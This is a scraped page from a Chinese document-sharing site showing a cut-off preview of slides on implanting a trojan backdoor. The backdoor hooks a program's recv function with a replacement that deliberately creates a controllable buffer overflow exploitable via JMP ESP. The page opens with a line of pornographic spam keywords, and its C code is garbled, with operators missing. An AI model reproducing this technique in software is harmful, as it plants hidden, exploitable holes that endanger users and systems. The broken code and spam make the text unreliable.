freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

溢出植入型木馬后門的原型實(shí)現(xiàn)(編輯修改稿)

2025-08-16 00:26 本頁面
 

【文章內(nèi)容簡介】 需要的條件 ?對(duì)傳入?yún)?shù)引用使用 EBP+XXX,對(duì)變量引用使用ESP+XXX的方式 ? 替換轉(zhuǎn)發(fā)函數(shù) 0X4444 Recv函數(shù)地址 PUSH FLAG PUSH XXX PUSH BUF PUSH S CALL [0X4444] 0X4c88 Recv函數(shù)地址 PUSH FLAG PUSH XXX PUSH BUF PUSH S CALL [0x4444] RecvAdd代碼: PUSH FLAG PUSH YYY PUSH BUF1 PUSH S CALL [0x4c88] COPY(BUF,BUF1,XXX) RET 0X4444 RecvAdd函數(shù)地址 替代轉(zhuǎn)發(fā)函數(shù)的作用 ?可以制造一個(gè)完全通用的溢出漏洞 ?溢出點(diǎn)可控 ?不會(huì)引發(fā)訪問違例 ?在溢出控制前 BUF內(nèi)容不會(huì)被修改 ?可以解決一些更多的技術(shù)問題 植入的通用化溢出漏洞的實(shí)現(xiàn) ? JMP ESP提供和定位 ? RECV函數(shù)的替換轉(zhuǎn)發(fā)函數(shù)實(shí)現(xiàn) ? 更深層次的利用 DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags){ int num。 char buf1[0x1190]。 if(len0x1000) num = recv(s,buf,len,flags)。 else{ num = recv(s,buf1,0x11a9,flags)。 //擴(kuò)大到標(biāo)準(zhǔn)指定的溢出點(diǎn)上 if(num0) { //判斷是否收到包 if(num=len) //判斷是否溢出 , 沒有則拷貝內(nèi)存 memcpy(buf,buf1,num)。 else
點(diǎn)擊復(fù)制文檔內(nèi)容
環(huán)評(píng)公示相關(guān)推薦
文庫吧 www.dybbs8.com
備案圖片鄂ICP備17016276號(hào)-1